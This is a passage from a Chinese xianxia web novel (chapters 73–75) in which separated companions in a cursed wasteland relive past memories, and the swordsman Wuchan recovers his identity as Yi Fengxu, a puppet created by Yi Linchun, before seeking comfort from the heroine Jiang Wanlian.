江姑娘是真的动怒了。但倒也确实,刚刚无忏那番举动,若他估算稍有差池,或者蛟龙的反应超出预期,晚莲姑娘此刻恐怕……叶玖心中暗叹,无忏行事向来只求结果,不计过程,更不擅解释,此番怕是让人寒了心。 “……好了,在这里闹别扭也不合适。”叶玖出声打圆场,语气恢复了惯常的冷静,指向下方,“刚刚那蛟龙的躯体似乎可以直通对岸,我们快些去吧。此地诡谲,不宜久留。” 说罢,她便准备招呼师弟和江晚莲动身。 然而,无忏却像是没听到她后面的话,或者说,他只接收到了“动身”这个指令。他身形一动,竟直接上前,伸手就朝着李子遥怀中的江晚莲探去,那架势,分明是要硬生生将人抢过来。 李子遥立刻警惕地侧身,将江晚莲护在身后:“你又想干嘛?!” 但江晚莲的反应更快,也更决绝。她猛地从李子遥身后探出头,对着无忏大声道:“你走开!我不要你!我要跟叶姐姐走!” 她的目光越过无忏,直接投向了叶玖,眼神里带着显而易见的依赖和寻求庇护的意味,还有未消的余怒。 叶玖虽有些惊讶于江晚莲这突如其来的、近乎孩子气的选择,但略一思忖,便明白了其中关窍——此刻的无忏,在江晚莲眼中,恐怕比这黑水河还要危险和不可信赖。她点了点头,柔声道:“好。”随即御剑靠近,从李子遥身边,将江晚莲小心地接了过来。 江晚莲伏在叶玖背上,鼻尖萦绕着一股清冽的、似有若无的桂花冷香,这气息,总算让她狂跳的心和满腔的怒火稍稍平复了一些。她抱紧叶玖,将脸侧过去,故意不去看无忏。 无忏伸出的手僵在半空,然后缓缓放下。他看着江晚莲毫不犹豫地选择叶玖,看着她依偎在叶玖背上那全然信赖的姿态,看着她连一个眼神都不再给自己……胸口那股滞涩的憋闷感,骤然发酵、膨胀,变成了一种尖锐的、陌生的刺痛,混杂着更深的烦躁和一种他自己都无法命名的怒意。 他做错了?不,他解决了最大的威胁,所有人都活了下来,包括她。效率最高,代价最小。可为什么……为什么她要用那种看怪物、看不可理喻之人的眼神看他?为什么宁可选择叶玖,也不愿靠近他半步? 最终,他什么也没说,只是猛地转身,率先朝着下方蛟龙尸身构成的“桥梁”落去,玄色的背影在翻涌未散的雾气中,显得格外孤绝,又带着一种生人勿近的凛冽寒意。 73. 等待进入网审 四人踏着蛟龙冰冷坚硬的鳞甲,走向迷雾深处的对岸。空气里弥漫着浓重的血腥与河水特有的腥腐气味,脚下庞大的身躯早已失去生命的热度,只余下令人心悸的沉默与重量。每一步都需凝神,湿滑的鳞片在昏暗中反射着幽微的光,如同无数只死寂的眼。 叶玖走在江晚莲身侧,目光不时掠过她依旧紧绷的侧脸,又投向最前方那个几乎与残余雾气融为一体的玄色背影。两人之间,仿佛横亘着一条比黑水河更沉默、更僵冷的无形界线。她心中微叹,却知道此刻绝非探究或缓和的时机,因为—— 他们终于踏上了对岸的土地。 脚下传来潮湿泥土的触感,带着一种与河岸那边迥异的、近乎死寂的绵软,仿佛踩在某种巨兽沉眠的皮肤上。预想中的世外桃源并未出现。笼罩河面的厚重瘴气在此处浅淡了许多,却并未完全消散,而是如同褪色的陈旧纱幔,稀薄地挂在远处,将更深的区域掩藏在灰蒙蒙的、望不透的帷幕之后。眼前是一片延伸至视线尽头的荒芜,土地呈现出一种病态的灰褐色,龟裂的缝隙如同大地干涸的泪痕,蜿蜒纵横。零星散布的枯树,风在这里变得轻微而飘忽,却裹挟着一股干燥的、尘土般的死气,与黑水河的湿冷阴森截然不同,却同样令人从骨髓里渗出寒意。 “师姐,那里有东西!” 李子遥的声音带着惊疑,打破了登陆后的短暂死寂。他指向侧前方一片雾气相对稀薄的区域。朦胧之中,竟真有一道模糊的人影轮廓,孤零零地立在那里,看不清面目,也辨不出男女,仿佛只是一道被遗忘的剪影,又像是雾气偶然凝聚成的、一触即散的错觉。 叶玖闻声,立刻转头朝李子遥所指的方向望去。目光如电,扫过那片区域——除了更远处缓缓流动的薄雾和亘古荒凉的土地,空无一物。哪有什么人影? 她心下一凛,一种不祥的预感骤然攫住心脏。倏然回头—— 身后,空荡荡。 方才还紧跟在她身侧的李子遥,不见了。无忏和江晚莲,也失去了踪影。就在她转头的那一刹那,他们三人如同被这片荒芜之地无声地吞噬了,连一丝痕迹、一点声响都未曾留下。 只有她独自一人,站在这片死寂的灰褐色大地上。风拂过枯枝,发出细微的、如同叹息般的呜咽,更衬得天地空旷,孑然一身。 “在找什么?” 一个声音突兀地响起,近在耳畔,甚至能感觉到微弱的、带着奇异暖意的气息拂过耳廓。那声音……清冷,镇定,每一个音节的起伏、每一处停顿的韵律都熟悉到令人毛骨悚然—— 分明是她自己的声音! 没有半分犹豫,甚至没有回头确认那令人头皮发麻的“存在”,灌注真气的软剑已化作一道凄冷的银弧,带着她全部的本能与爆发力,向身侧声音来源处凌厉横扫!剑风破空,发出尖锐的嘶鸣。 剑风过处,只斩开了几缕流动的薄雾。 什么都没有。 但她知道不可能,握剑的手心微微渗出汗意,心脏在胸腔里沉重而迅疾地鼓动,撞击着肋骨。她强迫自己将呼吸调整至最轻微绵长,调动全部感官去感受周围——风的方向,气流的每一丝细微扰动,土壤深处散发出的陈腐气息,甚至空气中尘埃浮动的轨迹。 “我好饿……我好饿……” 一个细弱、断续、带着浓重哭腔的女童啜泣声,毫无征兆地刺破了周遭的死寂。那声音飘忽不定,仿佛来自四面八方,又仿佛就在很近的、贴着耳朵的地方响起。 叶玖霍然转身,目光如冰锥般循声锁定。 就在她前方不到十步之处,灰褐色的土地上,坐着一个约莫六七岁的小女孩。她赤着沾满泥污的双足,身上裹着几片看不出原本颜色的破烂布片,小脸脏兮兮的,被泪水冲出几道蜿蜒的痕迹。她蜷缩着单薄的身体,肩膀因为压抑的抽泣而不住耸动,细弱的哭声里充满了无助与绝望。 那是……年幼的,尚未遇见任何光亮的叶玖。 是那个在饥寒、白眼与拳脚中挣扎求存,不知明日何在的流浪儿叶玖。 幻象?心魔?还是这片土地挖掘出的、最深处的记忆残骸? 叶玖持剑的手稳如磐石,指节却因过度用力而微微泛白。她的眼神无法控制地剧烈波动起来,像是被投入石子的深潭。她看着那个哭泣的小小自己,喉头像是被一只冰冷的手紧紧扼住,艰于呼吸。 “小妹妹,怎么哭的这般花猫似的?” 一个温和的男子声音响起,带着恰到好处的关切,打破了女童孤独无援的哭泣。一个身影随之出现在小女孩面前。 那是一个身穿浅蓝色衣袍的年轻男子,衣料质地细腻,在周遭灰暗的背景下显得格外清雅洁净。他长发随意披散在肩头,面容俊朗,眉眼间还残留着几分未脱的少年意气,周身却萦绕着一种超越年龄的沉稳与从容。 他微微俯身,姿态自然而毫无居高临下之感,朝坐在地上、脏兮兮的小叶玖伸出手。指尖轻柔地拂过她沾满泪痕与污渍的脸颊,试图擦去那些狼狈。 “我、我今天没有偷东西!不要打我!”年幼的叶玖猛地打开他的手,把自己缩得更紧,声音里充满了长期被欺凌后形成的、根深蒂固的恐惧和戒备,眼神惊惶。 男子显然对这激烈的反应有些意外,动作顿了顿。随即,他脸上绽开一个微笑。那笑容并不如何灿烂夺目,却如同穿透厚重阴霾的一缕真实阳光,温和,澄澈,带着一种能安抚一切惊惶的、毫无杂质与算计的纯粹好意。 那是叶玖此生永远无法忘却,也永远在心底珍藏的一个笑容。 “我这次出门……倒也没带什么,你若不嫌弃便吃这个吧。”男子并未因被打掉手而着恼,语气依旧温和如初。他从宽大的衣袖中掏出一个小而干净的布包,小心地打开,里面是几块看起来粗糙却厚实的干粮,还有一小包用油纸仔细包着的、晶莹剔透的桂花糖。他将布包递到小女孩面前,然后安静地等待着,目光落在叶玖那双蓄满泪水、却因眼前突然出现的食物而骤然亮起微弱星火的眼眸上。 “谢谢您……您叫什么名字?我叫叶玖……我、我以后想报答您!”小女孩接过布包,紧紧抱在怀里,像是抱住了整个世界唯一的温暖。她仰起脏兮兮的小脸,怯生生却又无比认真、几乎带着誓言般郑重地问道。 “我?我啊……”男子笑意更深了些,眼中掠过些许促狭,又盈满了温柔的怜惜,“我叫江寻。江府就在城的那头,若你以后找不着吃的,就来找我吧。府上还有位小朋友,说不定……你们会玩得来呢!” 声音和影像归于了虚无。 荒芜的土地上,叶玖依旧孑然独立,唯有指尖传来布包粗糙触感的记忆,残留在虚幻的掌心。 幻影并未结束。 眼前的景象如同被风吹散的流沙,再次聚拢、变幻、重组,勾勒出另一段命运的拐点。 “你叫什么名字?”又一个沉稳的男声响起,语调平静无波,却与江家主的温和包容截然不同,带着山巅积雪般的清冷与天然的疏离感。 一个高大的身影在逐渐清晰的景象中显现。他身着一袭毫无装饰的素白衣衫,洁净得不染尘埃,身姿挺拔如孤峰之巅迎风而立的松柏,面容俊朗却如同覆盖着千年寒霜,眼神深邃如古井。他就那样站在那里,无需任何姿态,周身自然流露出一股不容侵犯的威严与远离尘嚣的出尘之气。 “……我叫叶玖。”已经长大一些、衣衫虽旧却浆洗得整洁不少的少女叶玖站在他面前,神情有些局促,脊背却努力挺得笔直,像一株不肯弯折的幼苗。 “我名柳长歌。”男子微微颔首,目光在她身上停留片刻,那审视的目光并不严厉,却仿佛能穿透皮囊直视根骨神魂,让叶玖下意识地屏住了呼吸。“没料到此番下山,能遇如此天赋者。” “那、那是什么意思?” “你可愿随我回凌云门?”柳长歌的声音依旧平静无波,却带着一种奇异的、令人不由自主信服与向往的力量,“修习正道,持心守义,除恶卫道,保护……你想保护的人。” 保护……想保护的人? 阿娘阿爹模糊慈祥的面容早已在岁月和苦难中褪色漫漶,最终定格在记忆里的,是他们倒在血泊中冰冷僵硬的躯体。这些年颠沛流离,看尽世态炎凉,人心鬼蜮,唯一给予她毫无保留的善意与温暖,让她灰暗生命里照进第一缕光的,只有那位如春日暖阳般的江家主…… 心脏在胸腔里沉重地、却又无比清晰地跳动了一下,带着酸涩与重新燃起的灼热。 少女抬起头,望向眼前这位气质超凡、仿佛来自云端仙阙的高大男子,那双经历过无数苦难磋磨却依旧清亮执拗的眼眸里,有什么东西彻底坚定、沉淀了下来。她用力地点了点头,声音不大,甚至因激动而微微发颤,却清晰而郑重,掷地有声: “我、我跟您去!” 柳长歌看着她,那覆盖寒霜般的面容上显出满意。他再次颔首。 “好。” 景象至此,如同耗尽了最后支撑的力量,开始从边缘片片碎裂、剥落,化作细碎的、闪着微光的尘埃,消散在荒芜而亘古的风里。 最后映入叶玖眼帘的,是少女叶玖跟在柳长歌那素白挺拔的背影之后,一步步走向远方云雾缭绕、宛若仙境的巍峨山门的、倔强而单薄的背影。那背影渐渐融入云雾与光晕之中,走向了她命运的另一个开端。 荒芜死寂的大地重现,枯木静立如墓碑,薄雾流淌似挽歌。 只剩下叶玖一人,独立苍茫。手中的软剑微微低垂,剑尖轻触着灰褐色的土地,发出细 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叶玖略感疲惫地闭了闭眼,刚刚那些幻象实则并未完全结束,在她被迫沉入的深层意识里,更多不愿回忆、甚至试图遗忘的阴暗过去如同挣脱锁链的梦魇,接二连三地缠绕上来,试图将她拖入更深的泥沼。她捂住隐隐作痛的额角,强打起精神问道:“江姑娘呢?还有无忏?” “不知道,”李子遥摇头,眉头紧锁,“这地方邪门得很,一下子就把人都扯散了。但是如果他们两个也分开了的话,江晚莲那点本事……”他担忧地看了看叶玖,随即将她一只手臂拉过搭在自己肩上,支撑着她,“总之,我们得先找到他们汇合。师姐你还好吗?能走吗?” “我没事,”叶玖借着他的力站稳,摇了摇头,将软剑收回袖中,目光投向雾气更深处,忧色更深,“主要是江姑娘她……但愿无忏在她身边。” 与此同时,在另一片被灰雾与荒芜包裹的、景色却微妙不同的区域。 无忏静立着,他面前,并非枯木与裂土,而是一片模糊扭曲、不断流动的光影,仿佛隔着一层晃动的、不稳定的水幕,窥见另一个时空的碎片。 光影中,是那位长发逶迤及踝、翠绿眼眸的女子——或者说,是“鸢”,再或者…称呼为易临春更为合适。 她跪坐在地上,脸色惨白,额头布满细密的冷汗,喘息声大得如同破损的风箱,每一次吸气都显得艰难而痛苦。她的手腕处,一道极深极长的伤口狰狞外翻,鲜血流至地上,而她面前的碗中,浓稠的血液几乎满溢,散发着难以言喻的、既有生机又蕴含不祥的气息。 而她面前,躺着一个人。 一个与他此刻样貌别无二致、只是看起来更为年幼,面容尚存稚气,长发披散的人。那人双目紧闭,脸色是一种毫无生气的灰白,如同一具精致却空洞的人偶。 易临春咬紧牙关,忍受着仿佛灵魂都被抽离的剧痛与虚弱,颤抖着手捧起那汇聚了她大量精血的碗,将碗沿凑近那苍白无色的唇边,近乎粗暴地、又带着一种近乎虔诚的决绝,将整碗血饮灌了下去。 暗红的液体顺着嘴角溢出少许,蜿蜒如血泪。 随后,诡异发生了。 那具“人偶”般的身躯,微不可察地颤动了一下。长长的睫毛如蝶翼般轻抖,然后,缓缓地、极其缓慢地,睁开了眼睛。 露出的,是一双比易临春更为纯粹、更为剔透、也更为冰冷的翠绿色眼眸。像两枚刚刚打磨好的、浸在寒泉中的翡翠,美丽,却没有属于人类的情感温度。 易临春像是耗尽了最后一丝力气,瘫软下去,却又在触及地面之前强撑着用手肘支住身体。她凝视着那双新生的绿眸,惨白的脸上缓缓扯出一个近乎虚脱、却又带着奇异满足感的笑容,声音轻得如同耳语,却又清晰地穿透光影,传入无忏耳中: “成功了……” 她喘息着,目光有些涣散,像在回忆,又像是在对眼前这新生的“存在”低诉: “那个人和我说……傀儡若随我姓……便与尘世所谓的‘母子’……大差不差了。” 她伸出未受伤的手,指尖极其轻微地、仿佛怕碰碎了什么似的,拂过那双漂亮却空洞的绿眸上方柔软的额发。 “该……叫什么好呢……” 她喃喃着,眼神飘向虚无的远处。 “我记得他说过……‘逢序’二字,甚是好听。他说……倘若自己日后有个男孩,便会取这个名字。” 她的目光重新聚焦在那张年轻脸庞上,那抹虚弱的笑容里,掺入了一丝极淡的、难以解读的温柔,与更深沉的、玉石俱焚般的决意。 “那你……便叫这个吧。” 她的声音虽轻,却带着命名般的郑重,一字一顿,刻入光阴: “易、逢、序。” 74. 等待进入网审 这三个字,不是听见,不是看见,而是如同烧红的烙铁,狠狠烫进意识最深处,凿穿所有混沌的屏障。左眼传来的灼烧感在这一瞬间攀升至顶点,仿佛有岩浆在眼球后方沸腾、炸裂! 剧烈的疼痛迫使他闷哼一声,单膝重重砸在地面上,手掌死死捂住左眼,指缝间似乎能感觉到那骇人的热度。灼痛与尖锐的刺痛交织,带来一阵强过一阵的嗡鸣,颅骨之内仿佛有无数细针攒刺,眼前的荒芜景象开始扭曲、重叠、渗出虚幻的色彩。 他想起来了。 这是他的名字。 是他存在伊始,便被赋予的、带着鲜血与禁忌的烙印,是他的“创造者”与“母亲”——易临春,亲手刻入他生命源头的三个字。 “序儿……” 一道空灵而熟悉的女子声音,带着记忆中特有的、略显清冷的温柔,自虚无中传来。他猛地转过头,即使视野因痛楚而模糊晃动,仍能辨认出那道不知何时出现在不远处的墨色身影。 她静静地立在那里,面容是记忆中分毫不差的倾国倾城,那双独一无二的翠绿眼眸,比世间最上等的翡翠更剔透,也更深邃。她本该是平静的,像一潭无波的古井,可此刻……她望着他的眼神里,竟盛满了如此清晰而复杂的情绪——温柔?眷恋?决绝?还有深不见底的哀伤与……嘱托?那情感浓烈得几乎要满溢出来,真实得让无忏心脏骤缩。 “序儿,说了很多次,出手时手要这样。”声音忽又从另一边响起,带着一丝不易察觉的耐心。幻象切换,他看到更年轻几分的易临春,正微微俯身,握着一个男孩纤细的手腕,一丝不苟地调整着他出剑的姿势。那男孩的面容,依稀是他年幼时的模样,稚气未脱,眼神却已带着过早的沉静。 男孩手中费力握着的,正是他如今如臂使指的玄色长剑。只是对于当时瘦小的身躯而言,那剑太长,也太重,每一次挥动都显得笨拙而艰难。 “序儿,倒了就站起来。” 景象再变。易临春面色是少见的严肃,甚至堪称冰冷。她身旁,立着另一个“她”——容貌一般无二,眼神却空洞如死水,那是她操纵的傀儡,“鸢”。 无数肉眼难以察觉的、泛着微光的猩红血丝,从易临春的十指延伸而出,精准地没入“鸢”的关节。年幼的易逢序又一次被“鸢”毫不留情的攻击击飞,重重摔在地上,尘土飞扬,嘴角溢出血丝。他挣扎着想爬起,四肢却因脱力和疼痛而不听使唤。 易临春的声音没有丝毫波动,只有不容置疑的命令:“站起来。只要还有一息,就必须站起来。” “序儿……” 这一次的呼唤,近在咫尺,甚至带着喘息的血气。幻象中的易临春,倏然出现在年幼的他面前,背对着他,墨发与衣袂无风自动。她嘴角蜿蜒下一道刺目的血痕,而更触目惊心的是——是一截冰冷的剑尖,自她腹部穿透而出! 温热的鲜血,如同断了线的红珠,滴滴答答,恰好坠落…… 滴入了仰着头、满脸惊骇的易逢序的左眼之中。 滚烫,粘稠,带着生命急速流逝的温度与铁锈般的腥甜,瞬间浸染了整个视野,也似乎灼穿了什么更深层的东西。 “快点!跑!不要回头!”易临春的声音因剧痛而扭曲,却异常清晰。她用尽最后的气力,反手将一直握在掌中的玄色长剑塞进男孩怀里,同时,远处的“鸢”猛地动了,爆发出远超平时的力量,不由分说地将呆住的易逢序狠狠推向来时的路,推向未知的黑暗与生天。 “呜——!” 现实的荒芜之地,无忏发出一声压抑的痛哼,左眼的灼痛与脑海中的血腥画面彻底融合,耳鸣尖锐到几乎要撕裂鼓膜。他感觉自己正在坠落,不是身体,而是意识,坠向更幽深、更黑暗、也更清晰的记忆泥沼。 幻象的洪流变得更为汹涌,细节历历在目。 那是一片被浓雾永久笼罩的阴暗森林。一个约莫十岁的男孩在其中拼命奔跑,脚步踉跄,发丝凌乱,脸上混杂着干涸与新溅的鲜血,胸口因极度恐惧和剧烈运动而剧烈起伏,每一次喘息都带着肺叶灼烧般的痛楚。 他不能停,不敢停,因为身后是无数追兵——黑衣的杀手如影随形,服饰各异的所谓“名门正派”弟子面目狰狞,他们时而因争夺“功劳”或“宝物”而自相残杀,时而又为了共同的目标暂时联手。追杀的理由早已模糊,只剩下“傀儡”“妖物”之类的嘶吼,在雾林中回荡。 突然,破空之声袭来!一道带着凛冽寒光的剑锋,擦着他未及束起的青丝掠过,斩断几缕发丝。男孩凭借刻入骨髓的本能狼狈侧身,险险避过这致命一击。 “不愧是易临春耗尽心血雕琢的傀儡,那女人倒是教了你不少保命的本事。” 一个听不出是赞叹还是嘲讽的男声,悠悠响起。易逢序喘息着后退,脚跟却猛地踩空!碎石滚落的声音持续了令人心悸的许久,才传来微弱到几乎听不见的回响。他僵住,缓缓回头——身后,已是深不见底的悬崖绝渊。 而在他前方几步之外,浓雾被一股无形的力量排开,一道身影缓缓显现。那是一个身量颇高的男子,但却看不清脸。衣袂飘然,气质复杂难辨,既有几分超脱尘世的仙风道骨,眉宇间却又萦绕着一丝挥之不去的、与这份出尘格格不入的邪气。 更让易逢序瞳孔骤然紧缩、浑身血液几乎冻结的是——在这个神秘男人的身侧,静静站着一个女子。 墨发,绿眸,倾国之姿。 是易临春的模样。 不,更准确地说,是傀儡“鸢”。只是此刻的“鸢”,眼神比以往任何时候都要空洞、呆滞,仿佛失去了最后一丝灵性,仅仅是一具完美无瑕、任由摆布的人形躯壳。 “在想什么?她早就死了,你分明亲眼所见。”那男人此时语气带着一种残酷的玩味,甚至特意抬手指了指自己的左眼位置,意有所指,“更何况,你这只眼睛里……滴落的,不就是她最后的血么?” 他知道,面对此人他毫无胜算。 目光再次掠过身后那吞噬一切的黑暗深渊。 跳下去。 这是此刻唯一的、不是出路的出路。 纵然,与自寻死路无异。 “无忏——!!” 江晚莲的声音像是从遥远的水面之上传来,带着一种模糊的、焦急的穿透力,勉强刺入他沉沦的识海。周围那些血腥而清晰的追杀幻象开始剧烈波动、褪色,如同被水洗去的墨迹。 然而,解脱并非立刻到来。当外部的幻象开始瓦解,内部被强行掀开的记忆却如同无数条冰冷的毒蛇,争先恐后地从深渊里蜿蜒爬出,死死缠缚住他的神经。 混杂的片段疯狂闪现:跟随母亲在月下荒野沉默奔波的颠沛,第一次颤抖着手将剑刃刺入敌人喉咙时的经历,以及坠下悬崖时耳边呼啸的、仿佛永无止境的烈风与急速逼近的、吞噬一切的黑暗……那些记忆里,有短暂栖息时易临春指尖拂过他发梢的、近乎虚幻的温和,更有无边无际、浸透骨髓的冰冷、疼痛与孤立无援。 无数碎片最终汇聚、定格,不再流转。 那是一幕静止的、色彩浓烈到诡异的画面。 背景是一片染血的繁花之下。一个身影无声无息地倒伏着,身下洇开深色的、与花瓣近乎同色的液体。 小小的易逢序站在几步之外,手中还握着那柄对他来说过长的剑,剑尖有血珠缓缓滴落。他抬起头,望向背对着他、站在花丛边缘的那道墨色身影,声音里带着巨大的困惑: “娘亲……为什么我们要杀他?你明明说过‘不能滥杀无辜’。” 易临春的背影在漫天血色繁花的映衬下,美丽得惊心动魄,却也孤绝得仿佛与整个世界隔着一层透明的屏障。她没有回头,声音平静无波,却字字清晰地传入他耳中: “他作恶多端,逼死人命,官府不管,或是不敢管,那便只能由我们来‘解决’。”她微微偏头,露出一点极白皙的侧脸轮廓,“娘是说过‘不得滥杀无辜’,可我也曾告诉过你,‘不得害众生苦’。有些‘解决’,是另一种‘不害’。” 易逢序愣住了。这话他并非第一次听。每一次“行动”之后,无论他是否亲手参与,易临春总会用这句仿佛箴言般的话作为收束。他曾追问过这话的来历,她只是望着远方,轻描淡写地说,那是一位……“天下无双”的人曾说过的道理。 看着地上逐渐失去温度的身体,更深的迷茫涌了上来,压过了最初的恐惧。他攥紧了小小的拳头,仰着脸,问出了那个盘旋心底许久的问题: “可为什么……为什么我们明明没有做错,却不能像寻常人一样,走在日光下,住在屋檐里?” 这一次,易临春沉默了许久。久到一阵风吹过,拂动她逶迤的墨发与满地的血色花瓣。然后,他听到她轻轻说道: “……因为,这世间,便是这样的。” “无忏!你怎么了?!你听得见吗?!” 外界,江晚莲的声音陡然拔高,带着真实的惊惶,彻底将他从那片血腥的花海中拉扯出来。 江晚莲快急疯了。好不容易在这鬼打墙一样的地方,循着一点若有似无的、类似痛苦压抑的喘息声,一点一点摸过来,找到了她目前最大的“靠山”,结果却发现这靠山状态糟糕透顶! 他单膝跪地,一手死死捂着左眼,指缝间似乎有异常的微光渗出,身体绷得像一块即将碎裂的 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“江……晚莲……?”他开口,声音沙哑得如同砂纸摩擦,带着一种罕见的、不确定的恍惚,似乎在努力辨认,又像是在确认某个唯一的锚点。 “是我!是我!你怎么了?是不是伤到了?”江晚莲连珠炮似的问道,担忧几乎要溢出来,目光紧紧锁住他脸上那道血痕,心脏揪紧。 我去我去!大佬哭了?!榜一大哥居然流眼泪了?!战力天花板居然会露出这种表情?!震惊之余,一种混杂着心疼与无措的情绪在她心底炸开。 “……你怎么找过来的。”他没有回答她的问题,反而低声反问,视线虽然聚焦在她脸上,眼神深处却似乎还残留着未散尽的幻影与痛楚。 “这都什么时候了还问这个!现在重要的明明是你怎么了啊喂!”江晚莲急得差点跺脚,也顾不上什么距离感了,伸出手,用自己袖口还算干净的内衬,极其轻柔地、小心翼翼地,去擦拭他脸颊上那抹刺目的血红。 指尖隔着布料,能感觉到他皮肤的微凉,以及那滴血泪残留的、几乎不存在的湿意。 擦完之后,无忏的脸微微偏转了过去,避开了她继续的注视,只留给她一个线条紧绷的侧脸和微微颤动的睫毛。这个细微的动作,泄露出一丝难得的、近乎窘迫的狼狈。 “……我想起来了。”他低声说,声音依旧沙哑。 “什么?” “……一些记忆。” 江晚莲倒吸一口凉气:“在这里?偏偏在这种地方?”她环顾四周死寂的荒芜,顿时觉得更冷了。 “这地方……有问题。”无忏闭了闭眼,再睁开时,那异常的红色似乎消退了些许,但血痕犹在。他尝试调整呼吸,试图压下胸腔内翻涌的、与记忆一同复苏的剧烈情绪。 有问题?当然有问题!江晚莲心里疯狂点头。她一路走来什么都没碰到,安静得可怕,除了发现自己突然孤身一人外,简直像个大型自闭现场。可无忏却…… “那你…是全都想起来了?”她小心翼翼地问,看他刚才痛苦成那样,恐怕想起来的绝不是什么愉快的野餐回忆。 他摇了摇头,动作有些迟缓。 “还有一些……没想起来。”比如,悬崖边那个男人的脸,那模糊却令人心悸的邪气与威压。 “想不起来就先别想了!”江晚莲立刻道,语气居然带着保护的急切,“反正迟早会…呃,我的意思是,不急在这一时。”她伸手,这次稳稳地扶住了他的胳膊,想帮他站起来。 “你不问我想起来什么了吗。”无忏任由她扶着,却忽然问道,目光落在她近在咫尺的、写满担忧的脸上。 “啊?”江晚莲被他问得一怔,随即眼神飘忽了一下,“看你那样子……我哪敢问啊。”她越说声音越小,缩了缩脖子。 开玩笑,万一一不小心戳中哪个雷点,大佬现在情绪不稳,顺手把自己“解决”了怎么办?! 无忏沉默了片刻。荒芜的风吹过,卷起细微的尘土。 然后,他开口,声音比刚才清晰了一些,却也更加低沉: “……名字。” “嗯?” “你说过,你的真名叫江晚莲。”他顿了顿,眼瞳凝视着她,那里面翻涌的情绪复杂难辨,有尚未散尽的痛楚,有深藏的疲惫,还有一种近乎孤注一掷的坦白。 “我也……想起来了。” “我的名字。” 他一字一顿,声音不大,将那个与过往死死纠缠的称呼,交付于这片荒芜之地,也交付于眼前这个唯一见证了他此刻狼狈、却试图扶住他的人耳中: “易、逢、序。” 75. 幽香怀中 江晚莲坐在一根横倒在地、早已枯朽的树干上,望着天色一点点沉入粘稠的墨蓝。远处,最后一丝天光被荒芜的地平线吞噬,寒风骤然失了顾忌,更加肆无忌惮地呼啸起来,卷起干燥的尘土和枯叶碎屑,打在脸上生疼。叶玖和李子遥依旧不见踪影,这片死寂的土地仿佛一张无形的巨口,悄无声息地吞噬了同伴,只留下他们两人。 他们之前勉强找到一处可以暂且避风的“地方”——那甚至称不上建筑残骸,不过是两堵不知何年何月坍塌、只剩半人高、彼此呈直角勉强立着的破败土墙,连遮风都显得敷衍。 黑水河对岸的白日便已风势不减,到了夜晚,更是变本加厉,如同无数看不见的冰冷鞭子,抽打着所能触及的一切。江晚莲曾试图生火,可摸遍了身上,连半点火星子也寻不见,更别提这鬼地方连根像样的、能点燃的枯枝都难找,只有遍地碎石和硬土。 “好冷啊……”她忍不住打了个寒噤,将身上那件老妇人赠予的、原本还算厚实的衣服裹得更紧了些。衣服的质地挡得住部分寒风,却阻不住那股从脚下土地、从四面八方渗透上来的、仿佛能冻僵骨髓的阴冷湿气,丝丝缕缕,直冲天灵盖。 江家主他们原先居然就是在这种地方闯荡?江晚莲发自真心的佩服。 无忏——不,现在该改口叫易逢序了。他就站在几步开外,背对着她,玄衣融进渐浓的夜色里,只有被风吹起的发梢和衣角偶尔晃动。他一动不动,不知在凝视远方的黑暗,还是沉湎于白日复苏的记忆碎片之中。 唉……反派大佬的心思,果然比这夜雾还难猜透。 呃……现在也算不上纯粹的反派了吧?哪有反派会跟“主角”同行的? 就在她胡思乱想之际,那静立的身影突然动了。 易逢序毫无预兆地转过身,几步便跨到她面前,挡住了本就稀薄的、不知来自何处的微光阴影。江晚莲下意识抬头,黑暗中只能勉强勾勒出他挺拔的轮廓,却清晰地感觉到两道目光落在自己脸上,沉甸甸的,带着一种她难以解读的专注。 “咋、咋了这是……?”她心头一跳,声音不自觉地紧了,“你这么看着我……我、我怪害怕的。”是不是自己穿越者的身份还有什么没说透的地方引起了他更深的怀疑?还是…… 没有回答。 下一瞬,江晚莲只觉身侧枯木猛地一震!一道冰冷的锐气几乎是贴着她的手臂擦过——是易逢序的玄色长剑,竟骤然出鞘,深深插进了她手边不足三寸的腐朽树干里,剑身犹自发出低微的嗡鸣。 我靠我靠我靠!!! 江晚莲吓得魂飞魄散,心脏差点停跳,触电般缩回手,整个人往后一仰,险些从枯木上翻下去。 然而,接下来发生的事,在后来无数个日子里回想起来,都让她觉得那一晚的自己,大概、可能、也许是脑子冻出幻觉的经历。 易逢序竟单膝一曲,在她面前矮下身来。紧接着,在江晚莲瞪圆了眼睛、尚未从剑插身旁的惊吓中完全回神的空当,他忽然伸出双臂,以一种不容抗拒又有些笨拙的力道,环住了她的腰身。然后,他将自己的额头,轻轻抵在了她的小腹处,整个人微微蜷缩,仿佛卸下了所有防备的幼兽,寻求着一点点虚幻的暖意与庇护。 温热的体温透过单薄的衣料传来,带着他身上某种清冽又凛冽的气息,混杂着一丝极淡的、来自旷野的风霜味道。而属于少女的、并非香囊熏染的、一种天然柔和的、近似幽兰般的馨香,也在此刻悄然萦绕。 “诶?” 江晚莲的大脑彻底宕机。 “诶?!” 身体僵住,无法思考。 “诶!!???” 脸上“轰”地一下,如同点燃了十座火山,滚烫的热意瞬间席卷了全身,连耳朵尖都烧了起来。方才还觉得刺骨冰寒的夜风,此刻吹在脸上竟像是带着火星子!脑袋里嗡嗡作响,什么寒冷、什么恐惧,全都被这股突如其来的、炸裂般的羞窘和混乱挤到了九霄云外! “你、你干什么?!快松开!男女授受不亲啊!?”她终于找回了自己的声音,又急又羞,双手慌乱地抵在他肩头,想要推开那颗埋在自己腹部的、毛茸茸的脑袋。掌心传来发丝的触感,意外的……有些柔软顺滑? 不对!现在不是评价这个的时候啊! 她加大了力道,甚至试图直接从枯木上站起身,逃离这令人手足无措的禁锢。可她刚一动弹,环在腰间的手臂便骤然收紧,力道之大,让她完全无法挣脱,像是被铁箍牢牢锁住。 “……抱歉。”他的声音闷闷地传来,带着一种罕见的、如同示弱的低哑,还有着疲惫与……低落?“就一会儿……就好。” 哦……江晚莲混乱的思绪里勉强挤出一丝清明。是因为白天想起的那些记忆吧?还没缓过来,需要一点……安慰?就像受伤的小动物会本能地靠近热源? 这么一想,推拒的力道不自觉地松了些。可理解归理解—— “那你也不能这样啊!你好歹换个姿势行不行?!”她还是觉得脸上烧得厉害,心跳如擂鼓。 腰间的手臂没有松开,反而似乎收得更紧了些,带着一种无声的固执。 江晚莲无可奈何,只得维持着这个尴尬又亲密的姿势,摸了摸自己发烫的鼻尖。长这么大,除了自家老爹,她连男孩子的手都没牵过!现在倒好,直接被“战力天花板”给抱了个结结实实! 唉……看来那些回忆,真的伤他至深。 